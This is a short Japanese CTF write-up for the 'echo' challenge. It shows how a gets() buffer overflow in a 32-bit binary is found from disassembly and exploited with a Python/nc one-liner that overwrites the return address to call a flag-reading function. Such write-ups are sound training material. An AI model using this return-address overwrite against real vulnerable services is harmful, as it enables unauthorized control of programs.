バッファオーバーフロー系CTFのWriteUp

問題へのリンク: https://backdoor.sdslabs.co/challenges/ECHO

"echo"は32bitのELFファイルでユーザーの入力を標準出力に出力するシンプルなプログラム。

$ nc hack.bckdr.in 12001
hello
ECHO: hello

ファイルを眺めてみるとtest関数 (アドレス: 0x080485D8) と sample関数 (アドレス: 0x0804856B)という2つの関数がある。
test関数はユーザーの入力をgets関数で読み取って、標準出力に出力する関数。
sample関数は"flag.txt"というファイルの内容を読み出す関数。

test関数内で呼び出されているgets関数にはバッファオーバーフローの脆弱性がある。
なので、test関数内のgets関数をバッファオーバーフローさせて、sample関数に制御を渡せば"flag.txt"の内容を読み出せる。

gets関数のバッファサイズを確認してみる。


.text:080485E1 8D 45 C6                lea     eax, [ebp+var_3A]
.text:080485E4 50                      push    eax
.text:080485E5 E8 F6 FD FF FF          call    _gets

上記より、gets関数のバッファサイズは0x3A、10進数で58バイトであることがわかる。
よって、test関数に渡すFlag奪取のためのペイロードは以下の構成になる。

[バッファサイズ 58バイト] + [EBPポインタのサイズ 4バイト] + [sample関数のアドレス 4バイト]

これをpythonで書くと以下のようになる。(※アドレスはリトルエンディアン)

python -c 'print "a"*62 + "\x6B\x85\x04\x08"'

対象のプログラムはリモートーサーバーにホストされているので、上記のpythonコマンドにncコマンドをパイプさせる。

$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001

実行結果:


$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
96f6< REDACTED >

以上。

Leave a Reply

Your email address will not be published. Required fields are marked *